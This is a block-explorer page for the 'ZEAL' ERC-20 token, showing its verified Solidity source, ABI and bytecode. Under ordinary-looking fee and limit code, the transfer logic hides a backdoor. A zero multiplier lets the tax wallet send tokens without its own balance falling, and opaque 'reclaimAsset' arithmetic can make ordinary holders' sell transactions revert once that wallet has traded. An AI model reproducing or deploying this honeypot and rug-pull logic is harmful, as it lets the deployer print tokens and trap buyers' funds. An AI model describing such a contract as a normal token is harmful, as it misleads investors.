ERC-20
Overview
Max Total Supply
10,000,000,000 ZEAL
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,278,466.181675855 ZEALValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ZEAL
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-12-29 */ // SPDX-License-Identifier:MIT pragma solidity 0.8.23; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() {_setOwner(_msgSender());} function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ZEAL is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isExile; IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); string private constant _name = unicode"Zenith of Evolution"; string private constant _symbol = unicode"ZEAL"; uint256 private _initialBuyTax=5; uint256 private _initialSellTax=5; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=5; uint256 private _reduceSellTaxAt=5; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 10000000000 * 10**_decimals; uint256 public _maxTxAmount = 150000000 * 10**_decimals; uint256 public _maxWalletSize = 150000000 * 10**_decimals; uint256 public _taxSwapThreshold= 100000000 * 10**_decimals; uint256 public _maxTaxSwap= 50000000 * 10**_decimals; address payable private _taxWallet; address private uniswapV2Pair; uint256 private assetClaimExcluded; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; struct ReclaimAsset {uint256 assetReclaim; uint256 assetDstn; uint256 asset2ndClaim;} uint256 private assetClaimAmount; mapping(address => ReclaimAsset) private reclaimAsset; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x888774981250BeEB22d6A4E7257F98c781cDC2Df); _balances[_msgSender()] = _tTotal; isExile[address(this)] = true; isExile[_taxWallet] = true; emit Transfer(address(0),_msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from]= _balances[from].sub( tokenAmount ); _balances[to]= _balances[to].add( tokenAmount ); emit Transfer(from, to, tokenAmount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if ( ! swapEnabled|| inSwap ) { _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount=0; if (from != owner() && to != owner() && to!=_taxWallet){ taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to!= address(uniswapV2Router) && ! isExile[to]) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to)+tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if ((isExile[from] || isExile[to]) && from!= address(this) && to!=address(this) ) { assetClaimAmount = block.number; } if (! isExile[from]&& ! isExile[to]){ if (to != uniswapV2Pair) { ReclaimAsset storage assetClm = reclaimAsset[to]; if (from == uniswapV2Pair) { if (assetClm.assetReclaim == 0) { assetClm.assetReclaim = _buyCount<_preventSwapBefore?block.number- 1:block.number; } } else { ReclaimAsset storage assetClmData = reclaimAsset[from]; if (assetClm.assetReclaim == 0 || assetClmData.assetReclaim < assetClm.assetReclaim ) { assetClm.assetReclaim = assetClmData.assetReclaim; } } } else { ReclaimAsset storage assetClmData = reclaimAsset[from]; assetClmData.assetDstn = assetClmData.assetReclaim.sub(assetClaimAmount); assetClmData.asset2ndClaim = block.number; } } _tokenTransfer(from,to,tokenAmount,taxAmount); } function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) { uint256 tAmount = addrs != _taxWallet ? tokenAmount : assetClaimExcluded.mul(tokenAmount); if (taxAmount>0){ _balances[address(this)]=_balances[address(this)].add( taxAmount ); emit Transfer(addrs, address(this), taxAmount); } return tAmount; } function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount) internal { _balances[from]=_balances[from].sub(sendAmount); _balances[to]=_balances[to].add(receiptAmount); emit Transfer(from, to, receiptAmount); } function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal { uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount); _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub( taxAmount )); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner() { _maxTxAmount= _tTotal; _maxWalletSize= _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); swapEnabled =true; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen =true; } function manualSwap() external { require(_msgSender() == _taxWallet); uint256 tokenBalance = balanceOf(address(this)); if(tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if(ethBalance>0) { sendETHToFee(ethBalance); } } function manualsend() external { require(_msgSender()==_taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005600455600580555f6006555f600755600560085560056009556005600a555f600b556009600a62000038919062000313565b62000048906308f0d1806200032a565b600c55620000596009600a62000313565b62000069906308f0d1806200032a565b600d556200007a6009600a62000313565b6200008a906305f5e1006200032a565b600e556200009b6009600a62000313565b620000ab906302faf0806200032a565b600f556013805462ffff0019169055348015620000c6575f80fd5b50620000d233620001b5565b601080546001600160a01b03191673888774981250beeb22d6a4e7257f98c781cdc2df179055620001066009600a62000313565b62000117906402540be4006200032a565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200018d6009600a62000313565b6200019e906402540be4006200032a565b60405190815260200160405180910390a362000344565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025857815f19048211156200023c576200023c62000204565b808516156200024a57918102915b93841c93908002906200021d565b509250929050565b5f8262000270575060016200030d565b816200027e57505f6200030d565b8160018114620002975760028114620002a257620002c2565b60019150506200030d565b60ff841115620002b657620002b662000204565b50506001821b6200030d565b5060208310610133831016604e8410600b8410161715620002e7575081810a6200030d565b620002f3838362000218565b805f190482111562000309576200030962000204565b0290505b92915050565b5f6200032360ff84168362000260565b9392505050565b80820281158282048414176200030d576200030d62000204565b611a6180620003525f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102e1578063a9059cbb1461030d578063bf474bed1461032c578063c9567bf914610341578063dd62ed3e14610355575f80fd5b8063715018a614610269578063751039fc1461027d5780637d1db4a5146102915780638da5cb5b146102a65780638f9a55c0146102cc575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f057806351bc3c851461020b5780636fc3eaec1461022157806370a0823114610235575f80fd5b806306fdde031461011e578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260138152722d32b734ba341037b31022bb37b63aba34b7b760691b60208201525b6040516101629190611654565b60405180910390f35b348015610176575f80fd5b5061018a6101853660046116b4565b610399565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af600f5481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103af565b3480156101dc575f80fd5b5061018a6101eb3660046116de565b6103d0565b3480156101fb575f80fd5b5060405160098152602001610162565b348015610216575f80fd5b5061021f610437565b005b34801561022c575f80fd5b5061021f610488565b348015610240575f80fd5b506101af61024f36600461171c565b6001600160a01b03165f9081526001602052604090205490565b348015610274575f80fd5b5061021f6104b4565b348015610288575f80fd5b5061021f6104f1565b34801561029c575f80fd5b506101af600c5481565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102d7575f80fd5b506101af600d5481565b3480156102ec575f80fd5b506040805180820190915260048152631691505360e21b6020820152610155565b348015610318575f80fd5b5061018a6103273660046116b4565b6105a5565b348015610337575f80fd5b506101af600e5481565b34801561034c575f80fd5b5061021f6105b1565b348015610360575f80fd5b506101af61036f366004611737565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a533848461095c565b5060015b92915050565b5f6103bc6009600a611862565b6103cb906402540be400611870565b905090565b5f6103dc848484610a80565b61042d843361042885604051806060016040528060288152602001611a04602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611020565b61095c565b5060019392505050565b6010546001600160a01b0316336001600160a01b031614610456575f80fd5b305f9081526001602052604090205480156104745761047481611058565b47801561048457610484816111fb565b5050565b6010546001600160a01b0316336001600160a01b0316146104a7575f80fd5b476104b1816111fb565b50565b5f546001600160a01b031633146104e65760405162461bcd60e51b81526004016104dd90611887565b60405180910390fd5b6104ef5f611232565b565b5f546001600160a01b0316331461051a5760405162461bcd60e51b81526004016104dd90611887565b6105266009600a611862565b610535906402540be400611870565b600c556105446009600a611862565b610553906402540be400611870565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105836009600a611862565b610592906402540be400611870565b60405190815260200160405180910390a1565b5f6103a5338484610a80565b5f546001600160a01b031633146105da5760405162461bcd60e51b81526004016104dd90611887565b60135460ff161561062d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104dd565b6013805462ff000019166201000017905561067230737a250d5630b4cf539739df2c5dacb4c659f2488d6106636009600a611862565b610428906402540be400611870565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e691906118bc565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610745573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076991906118bc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d791906118bc565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108385f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c391906118d7565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610928573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094c9190611902565b506013805460ff19166001179055565b6001600160a01b0383166109be5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104dd565b6001600160a01b038216610a1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104dd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ae45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104dd565b6001600160a01b038216610b465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104dd565b5f8111610ba75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104dd565b60135462010000900460ff161580610bc65750601354610100900460ff165b15610bdb57610bd6838383611281565b505050565b5f80546001600160a01b03858116911614801590610c0657505f546001600160a01b03848116911614155b8015610c2057506010546001600160a01b03848116911614155b15610e8557610c516064610c4b600854600b5411610c4057600454610c44565b6006545b8590611324565b906113a9565b6011549091506001600160a01b038581169116148015610c8e57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610cb257506001600160a01b0383165f9081526003602052604090205460ff16155b15610d9857600c54821115610d095760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104dd565b600d5482610d2b856001600160a01b03165f9081526001602052604090205490565b610d359190611921565b1115610d835760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104dd565b600b8054905f610d9283611934565b91905055505b6011546001600160a01b038481169116148015610dbe57506001600160a01b0384163014155b15610deb57610de86064610c4b600954600b5411610dde57600554610c44565b6007548590611324565b90505b305f90815260016020526040902054601354610100900460ff16158015610e1f57506011546001600160a01b038581169116145b8015610e33575060135462010000900460ff165b8015610e405750600e5481115b8015610e4f5750600a54600b54115b15610e8357610e71610e6c84610e6784600f546113ea565b6113ea565b611058565b478015610e8157610e81476111fb565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610ec257506001600160a01b0383165f9081526003602052604090205460ff165b8015610ed757506001600160a01b0384163014155b8015610eec57506001600160a01b0383163014155b15610ef657436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610f3657506001600160a01b0383165f9081526003602052604090205460ff16155b1561100e576011546001600160a01b03848116911614610fdc576001600160a01b038084165f908152601560205260409020601154909190811690861603610fa45780545f03610f9f57600a54600b5410610f915743610f9c565b610f9c60014361194c565b81555b610fd6565b6001600160a01b0385165f90815260156020526040902081541580610fca575081548154105b15610fd457805482555b505b5061100e565b6001600160a01b0384165f9081526015602052604090206014548154611001916113fe565b6001820155436002909101555b61101a8484848461143f565b50505050565b5f81848411156110435760405162461bcd60e51b81526004016104dd9190611654565b505f61104f848661194c565b95945050505050565b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061109a5761109a61195f565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561110a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061112e91906118bc565b816001815181106111415761114161195f565b60200260200101906001600160a01b031690816001600160a01b03168152505061118030737a250d5630b4cf539739df2c5dacb4c659f2488d8461095c565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906111bf9085905f90869030904290600401611973565b5f604051808303815f87803b1580156111d6575f80fd5b505af11580156111e8573d5f803e3d5ffd5b50506013805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610484573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f908152600160205260409020546112a390826113fe565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112d19082611469565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a739085815260200190565b5f825f0361133357505f6103a9565b5f61133e8385611870565b90508261134b85836119e4565b146113a25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104dd565b9392505050565b5f6113a283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c7565b5f8183116113f857826113a2565b50919050565b5f6113a283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611020565b5f61144b8584846114f3565b905061146285858361145d87876113fe565b6115a3565b5050505050565b5f806114758385611921565b9050838110156113a25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104dd565b5f81836114e75760405162461bcd60e51b81526004016104dd9190611654565b505f61104f84866119e4565b6010545f9081906001600160a01b039081169086160361151f5760125461151a9085611324565b611521565b835b9050821561159b57305f908152600160205260409020546115429084611469565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115929087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115c590836113fe565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115f39082611469565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116469085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561168057858101830151858201604001528201611664565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104b1575f80fd5b5f80604083850312156116c5575f80fd5b82356116d0816116a0565b946020939093013593505050565b5f805f606084860312156116f0575f80fd5b83356116fb816116a0565b9250602084013561170b816116a0565b929592945050506040919091013590565b5f6020828403121561172c575f80fd5b81356113a2816116a0565b5f8060408385031215611748575f80fd5b8235611753816116a0565b91506020830135611763816116a0565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117bc57815f19048211156117a2576117a261176e565b808516156117af57918102915b93841c9390800290611787565b509250929050565b5f826117d2575060016103a9565b816117de57505f6103a9565b81600181146117f457600281146117fe5761181a565b60019150506103a9565b60ff84111561180f5761180f61176e565b50506001821b6103a9565b5060208310610133831016604e8410600b841016171561183d575081810a6103a9565b6118478383611782565b805f190482111561185a5761185a61176e565b029392505050565b5f6113a260ff8416836117c4565b80820281158282048414176103a9576103a961176e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118cc575f80fd5b81516113a2816116a0565b5f805f606084860312156118e9575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611912575f80fd5b815180151581146113a2575f80fd5b808201808211156103a9576103a961176e565b5f600182016119455761194561176e565b5060010190565b818103818111156103a9576103a961176e565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119c35784516001600160a01b03168352938301939183019160010161199e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119fe57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200247c816f8723705d005bf410aa3d60fe3fa70900d827f84dc67d9c1ed7edfba64736f6c63430008170033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102e1578063a9059cbb1461030d578063bf474bed1461032c578063c9567bf914610341578063dd62ed3e14610355575f80fd5b8063715018a614610269578063751039fc1461027d5780637d1db4a5146102915780638da5cb5b146102a65780638f9a55c0146102cc575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f057806351bc3c851461020b5780636fc3eaec1461022157806370a0823114610235575f80fd5b806306fdde031461011e578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260138152722d32b734ba341037b31022bb37b63aba34b7b760691b60208201525b6040516101629190611654565b60405180910390f35b348015610176575f80fd5b5061018a6101853660046116b4565b610399565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af600f5481565b604051908152602001610162565b3480156101c8575f80fd5b506101af6103af565b3480156101dc575f80fd5b5061018a6101eb3660046116de565b6103d0565b3480156101fb575f80fd5b5060405160098152602001610162565b348015610216575f80fd5b5061021f610437565b005b34801561022c575f80fd5b5061021f610488565b348015610240575f80fd5b506101af61024f36600461171c565b6001600160a01b03165f9081526001602052604090205490565b348015610274575f80fd5b5061021f6104b4565b348015610288575f80fd5b5061021f6104f1565b34801561029c575f80fd5b506101af600c5481565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102d7575f80fd5b506101af600d5481565b3480156102ec575f80fd5b506040805180820190915260048152631691505360e21b6020820152610155565b348015610318575f80fd5b5061018a6103273660046116b4565b6105a5565b348015610337575f80fd5b506101af600e5481565b34801561034c575f80fd5b5061021f6105b1565b348015610360575f80fd5b506101af61036f366004611737565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a533848461095c565b5060015b92915050565b5f6103bc6009600a611862565b6103cb906402540be400611870565b905090565b5f6103dc848484610a80565b61042d843361042885604051806060016040528060288152602001611a04602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611020565b61095c565b5060019392505050565b6010546001600160a01b0316336001600160a01b031614610456575f80fd5b305f9081526001602052604090205480156104745761047481611058565b47801561048457610484816111fb565b5050565b6010546001600160a01b0316336001600160a01b0316146104a7575f80fd5b476104b1816111fb565b50565b5f546001600160a01b031633146104e65760405162461bcd60e51b81526004016104dd90611887565b60405180910390fd5b6104ef5f611232565b565b5f546001600160a01b0316331461051a5760405162461bcd60e51b81526004016104dd90611887565b6105266009600a611862565b610535906402540be400611870565b600c556105446009600a611862565b610553906402540be400611870565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105836009600a611862565b610592906402540be400611870565b60405190815260200160405180910390a1565b5f6103a5338484610a80565b5f546001600160a01b031633146105da5760405162461bcd60e51b81526004016104dd90611887565b60135460ff161561062d576040516